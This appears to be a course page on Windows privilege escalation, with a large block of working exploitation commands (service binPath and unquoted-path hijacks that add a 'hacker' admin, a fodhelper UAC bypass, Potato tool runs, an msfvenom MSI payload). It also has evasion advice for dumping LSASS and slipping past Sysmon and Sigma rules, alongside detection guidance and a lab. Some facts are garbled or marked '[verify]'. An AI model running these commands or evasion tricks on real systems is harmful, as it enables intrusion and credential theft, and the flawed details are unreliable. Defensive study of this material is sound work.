Skip to content

Windows Privilege Escalation

Windows privilege escalation is a forest of inconsistent trust boundaries: service permissions, unquoted paths, DLL hijacking, UAC integrity levels, token impersonation, and a long parade of “potato” exploits that abuse the way NTLM authentication bounces through local RPC. The model has gotten better (PPL, Credential Guard, UAC virtualization) but the legacy surface area is enormous, and any one misconfiguration — a single writable service binpath — flips a low-priv user to SYSTEM.

Windows runs processes at one of four integrity levels: Untrusted, Low (AppContainer), Medium (standard user), High (admin), and SYSTEM. Crossing up requires either explicit consent (UAC), an exploit, or a “potato”-style confused deputy that does the privileged work on your behalf.

┌────────────────────────────────────────────────────────────┐
│ Integrity ladder │
├────────────────────────────────────────────────────────────┤
│ SYSTEM ← token impersonation (Potato family) │
│ ↑ ← service binary hijack (sc config binpath) │
│ High ← UAC auto-elevate bypass (fodhelper, sdclt) │
│ ↑ ← Token elevation via consent.exe (UI prompt) │
│ Medium ← where you land with a user shell │
│ ↑ ← CreateRestrictedToken / AppContainer │
│ Low ← Chrome renderer, Edge AppContainer │
│ ↑ │
│ Untrusted ← rarely used in practice │
└────────────────────────────────────────────────────────────┘
Trust is in the token. The token holds: user SID, group SIDs,
integrity level (TOKEN_MANDATORY_LABEL), privileges bitmask,
and a "type" (primary, impersonation, anonymous).

The “potato” exploits all share the same shape: trick a SYSTEM process into authenticating to a service you control, capture that NTLM hash, relay it back to a local privileged RPC endpoint (e.g. ISystemAccessController) to obtain a SYSTEM token, then impersonate it.

  1. Enumerate identity and token — whoami /all, whoami /priv, whoami /groups. The output of /priv is the gold: SeImpersonatePrivilege enabled means Juicy/Rogue/PrintSpoofer/GodPotato is in scope. SeDebugPrivilege enabled means you can open lsass.exe and dump credentials directly.
  2. Enumerate services — sc query state= all, accesschk.exe -uwcqv "Authenticated Users" * (from Sysinternals). A service whose ACL allows SERVICE_CHANGE_CONFIG by a non-admin is a direct privesc — sc config binPath= "cmd /c net user hacker P@ss /add && net localgroup Administrators hacker /add" followed by sc start.
  3. Unquoted service paths — a service with binPath = C:\Program Files\My App\server.exe (no quotes) and that runs as SYSTEM. Drop C:\Program.exe and a start of the service runs your executable first because the loader parses space-separated tokens left-to-right.
  4. DLL hijacking — writable directory in the PATH of a SYSTEM service. The Windows loader search order is: app dir → SxS → System32 → System → Windows → CWD → PATH. Find a service that loads a non-system DLL by name (procmon filter Path contains ".dll" + Result is NAME NOT FOUND), drop the missing DLL in a writable dir early in PATH.
  5. UAC bypass — on a default install, certain auto-elevate binaries (fodhelper, sdclt, computerdefaults) honor environment variable overrides (HKCU\Environment\windir) or registry keys that let you redirect the action to a payload. Not a security boundary by Microsoft’s own documentation.
  6. Token impersonation (Potato family) — if SeImpersonatePrivilege is enabled (IIS, SQL Service, WinRM, IIS app pools), the various potato exploits trigger NTLM auth from a SYSTEM context to your local listener and capture the token.
TechniqueDescriptionDetection Difficulty
Service binPath hijackWritable service + sc config binPath= → SYSTEMMedium — service control logs
Unquoted service pathC:\Program Files\My App\srv.exe SYSTEM service + write to C:\Program.exeEasy — unquoted path itself is suspicious
DLL hijackingPATH-writable dir + missing-DLL SYSTEM serviceHard — procmon required to find
UAC fodhelper bypassHKCU\Environment\windir set to payload path; fodhelper auto-elevatesMedium — registry EID 13 on ms-settings
Juicy/PrintSpooferSeImpersonatePrivilege → SYSTEM token via NTLM relayHard — looks like spoolsv RPC
SeDebugPrivilegeOpen lsass.exe, dump credentials (PE3)Easy — Sysmon EID 10 on LSASS
Token impersonation via _meterpreter incognitoSteal token from a SYSTEM PIDMedium — DuplicateTokenEx Sysmon
AlwaysInstallElevatedMSI runs as SYSTEM if both HKLM/HKCU\...\AlwaysInstallElevated=1Easy — registry value is anomalous
Scheduled task as SYSTEMschtasks /create /ru SYSTEM /sc onstart /tn pwn /tr "cmd /c ..." (needs admin to create)Easy — Task Scheduler EID 4698
SCCM abuseNAA credentials in ccmexec, privesc via NAA → domain adminHard — depends on SCCM config
Terminal window
# === ENUMERATION ===
# Identity and privileges — look for SeImpersonate / SeDebug
whoami /all
whoami /priv
# Hot — vulnerable services
# SERVICE_CHANGE_CONFIG = 0x0020, write-dac needed
accesschk.exe -uwcqv "Authenticated Users" * 2>nul
accesschk.exe -uwcqv "Users" * 2>nul
# Unquoted service paths (filter SYSTEM services)
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /v "system32\\"
# Check for AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Scheduled tasks (admin only to create, but enumerate anyone)
schtasks /query /fo LIST /v | findstr /i "TaskName Run As"
# Network listeners and the owning PID
netstat -ano | findstr LISTEN
# Token privileges of current process
powershell -c "[System.Security.Principal.WindowsIdentity]::GetCurrent().Groups | ForEach-Object { $_.Translate([System.Security.Principal.NTAccount]).Value }"
# === EXPLOITATION ===
# --- 1. Writable service ---
# Identify a service with weak DACL
sc qc vulnerableSvc
# Find: BINARY_PATH_NAME = C:\Program Files\Vuln\vuln.exe
# Confirm write access with accesschk
accesschk.exe -d "C:\Program Files\Vuln"
# Replace the binary
copy /Y payload.exe "C:\Program Files\Vuln\vuln.exe"
sc start vulnerableSvc
# --- 2. Unquoted service path ---
# If service binPath is: C:\Program Files\My App\server.exe (unquoted)
# Drop: copy payload.exe C:\Program.exe
# On service start, loader tries: C:\Program.exe (if exists) before the real path
copy payload.exe "C:\Program.exe"
sc start unquotedSvc
# --- 3. DLL hijack (find missing DLL via procmon) ---
# Filter: Path contains ".dll", Result is NAME NOT FOUND, Process Name = service.exe
# Drop DLL named e.g. "version.dll" in service's writable dir
# DLL export forwarding keeps the service functional
# --- 4. UAC bypass: fodhelper (still works on 22H2 with tweaks) ---
# fodhelper.exe auto-elevates and reads HKCU\Environment\windir
New-Item "HKCU:\Software\Classes\ms-settings\Shell\open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\open\command" -Name "(default)" -Value "cmd /c start /B payload.exe" -Force
Start-Process fodhelper.exe
# --- 5. JuicyPotato (Win 10 < 1809, Server 2019 < 1809) ---
# Requires SeImpersonatePrivilege
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {F87B28F1-D09E-4CFD-8E8D-8C38513D5B3F}
# --- 6. PrintSpoofer (Win 10/Server 2019, SeImpersonate) ---
PrintSpoofer.exe -i -c "cmd /c whoami > C:\windows\temp\pwned.txt"
# --- 7. GodPotato (works on Win 2012-2022, IIS/SQL/WinRM contexts) ---
GodPotato.exe -cmd "cmd /c whoami"
# --- 8. RoguePotato (when ncToLocalPrivesc RPC relay needed) ---
# Requires: rogue-oxidresolver on attacker machine, redirector
RoguePotato.exe -r 10.0.0.5 -e "C:\windows\temp\payload.exe" -l 9999
# --- 9. AlwaysInstallElevated MSI ---
msfvenom -p windows/exec CMD='cmd /c net user hacker P@ss /add && net localgroup Administrators hacker /add' -f msi > pwn.msi
msiexec /quiet /qn /i C:\windows\temp\pwn.msi

Sysmon is the primary lens. The relevant event IDs:

  • EID 1 — ProcessCreate: any SYSTEM-spawned process from a writable user directory is suspicious. Sigma rule: parent_user != "SYSTEM" AND user == "SYSTEM" AND image_path contains "\temp\". Also: cmd.exe as child of fodhelper.exe / sdclt.exe / computerdefaults.exe is the UAC bypass signature.
  • EID 13 — RegistryEvent (ValueSet): writes to HKCU\Software\Classes\ms-settings\Shell\open\command are the fodhelper bypass; writes to HKCU\Environment\windir are the sdclt bypass. Sigma rule 910945 [verify].
  • EID 11 — FileCreate: C:\Program.exe, C:\Program Files.exe, or any executable directly under C:\Program Files\ written by a non-admin user is the unquoted-path signature.
  • EID 6 — DriverLoad: kernel exploits (PPL bypass via vulnerable drivers like RTCore64.sys — CVE-2019-16098) show as RTCore64.sys load from non-standard path.
  • EID 8 — CreateRemoteThread: classic token-stealing / process injection.

Windows Event Log:

  • EID 4688 — Process Creation (with command-line auditing enabled via SACL). Pattern: cmd.exe spawned by services.exe with net user ... /add is the post-privesc tell.
  • EID 7045 — Service Install: a brand new service created by a non-SYSTEM user is anomalous.
  • EID 4697 — Service Installed (Security log): same as 7045 but on the Security log.
  • EID 4624 — Annotated logon type: LogonType=5 (service) followed by LogonType=2 (interactive) from the same source user in seconds is the post-privesc shell pivot.
  • EID 4672 — Special Privileges Assigned: this fires every time a High-integrity process token is granted. Should correlate with EID 4688 to identify the originating process.

MITRE ATT&CK:

  • T1068 — Exploitation for Privilege Escalation (kernels, services)
  • T1547 — Boot or Logon Autostart Execution (DLL hijack in user32 load order)
  • T1574 — Hijack Execution Flow (DLL hijack, unquoted path)
  • T1548.002 — Bypass UAC
  • T1134 — Access Token Manipulation (.001 Token Impersonation/Theft, .002 Create Process with Token, .003 Make and Impersonate Token)
  • T1543.003 — Systemd Service (Windows: services.exe)

Wazuh rule 87100 [verify] — Mimikatz detection (also catches potato-family token ops).

Wazuh rule 920/632 [verify] — suspicious service creation by non-admin.

AMSI-aware payloads. UAC bypasses that invoke PowerShell as the elevated child will pass through AMSI. Either bypass AMSI first (PE6) or use direct Win32 — cmd /c or a native exe payload.

Token theft without impersonation syscalls. DuplicateTokenEx is the obvious signal. The less-watched alternative is to launch a process with CreateProcessWithTokenW (requires SeImpersonatePrivilege). Sysmon EID 1 will catch the new process but the parent chain may not look unusual.

Driver-based PPL bypass. LSASS runs as PPL (Protected Process Light) on Win 8.1+ when configured. Dumping LSASS requires either a signed PPL process (Mimikatz comsvcs.dll trick uses RtlGenRandom-style indirect dump via MiniDumpWriteDump of a clone handle) or killing the PPL signature check via a vulnerable signed driver. The classic is RTCore64.sys (CVE-2019-16098, MSI Afterburner) — .\RTCore64.sys load, then NtQueryInformationProcess on lsass.exe with ProcessSigningLevel modification. Modern EDR blocks the driver load itself.

Unquoted-path stealth. Drop the payload as C:\Program.exe and immediately remove it after the service starts. The FileCreate EID 11 fires, but if the file is gone within seconds, many correlation rules miss the trail. Defense: archive all EID 11 events to a remote SIEM, never rely on local files.

Service binary stealth. The classic sc config binPath= overwrites the real binary. Less noisy: use sc config FailureCommand= (run on service crash) and force a crash. EID 7034 (service crash) → EID 4688 (failure command runs) is the trail.

EvasionWhat it bypassesDefense
comsvcs.dll MiniDumpWriteDumpSysmon EID 10 (ProcessAccess on LSASS)Audit comsvcs.dll load via EID 7 in lsass.exe context
Driver-based PPL bypass (RTCore64, gdrv, dbutil)LSASS PPL signature checkWDAC / HVCI; block known-vulnerable driver cert
Token theft via CreateProcessWithTokenWDuplicateTokenEx-based detectionsEID 4688 cross-process token lineage correlation
Service FailureCommandService binPath monitoringMonitor FailureCommand field as well as binPath
Drop & delete payloadEID 11 in local logForward EID 11 to SIEM in real time

⚠️ What caught me: I escalated via JuicyPotato on a Win 2016 IIS server and got caught — not by the potato itself, but by a Windows Defender AMSI pattern on the post-exploitation whoami /groups. The customer’s Sigma rule matched whoami /all or whoami /groups from a w3wp.exe parent. Lesson: enumeration commands have their own behavioral signature, and the parent process lineage often matters more than the privesc exploit itself. After that engagement I started carrying a static-compiled whoami.exe with renamed strings; the syscall behavior is the same, but the string match misses.

VM: Windows Server 2019 with the following deliberate misconfigurations:

  • A service VulnSvc with binPath unquoted: C:\Program Files\Vuln App\srv.exe, runs as SYSTEM, write access to C:\Program Files\Vuln App for Authenticated Users.
  • An IIS app pool with SeImpersonatePrivilege (default).
  • AlwaysInstallElevated = 1 in both HKLM and HKCU (intentional).
  • A writable service BackupSvc (DACL allows SERVICE_CHANGE_CONFIG for Users).
  • UAC set to default (Notify me only when apps try to make changes, don’t dim desktop) — fodhelper bypass works.

Objective: reach nt authority\system via three different paths (writable service, unquoted path, UAC bypass), then via the fourth path (Potato impersonation as IIS app pool identity).

Expected flag format: flag{winprivesc_4paths_nt_authority_system}.

Detection that should fire:

  • Sysmon EID 13 — Registry write to HKCU\Software\Classes\ms-settings\Shell\open\command
  • Sysmon EID 11 — File creation of C:\Program.exe and of the replacement vuln.exe
  • Sysmon EID 1 — cmd.exe spawned by fodhelper.exe, cmd.exe spawned by services.exe (after binPath hijack)
  • Windows Security EID 4672 — Special Privileges Assigned to hacker user
  • Windows Security EID 4624 — Logon Type 5 (service) by the new local admin account

Conceptual: explain why UAC bypasses like fodhelper are not considered security vulnerabilities by Microsoft. What is the precise threat model they describe, and what is the operational condition under which that model holds?

Technical: walk through the NTLM authentication flow inside a Potato exploit. What does the SYSTEM process (e.g. spoolsv.exe in PrintSpoofer) do that ends up handing the attacker a usable token, and why does the loopback RPC constraint matter?

Scenario: you whoami /priv and see SeImpersonatePrivilege enabled but SeAssignPrimaryTokenPrivilege disabled. Which Potato variant works, which doesn’t, and why? Name the specific syscall that distinguishes them.

Compare JuicyPotato and PrintSpoofer. Why does JuicyPotato fail on Windows Server 2019 build 1809+ while PrintSpoofer still works, and what specifically did Microsoft change?

Conceptual: when you perform an unquoted-service-path exploit, why is C:\Program.exe the first drop location and not C:\Program Files\My.exe? Walk through the Win32 CreateProcess parsing logic that produces this order.

→ F3 (Windows Internals) · E2 (Windows Shellcode) · PE5 (Persistence Mechanisms)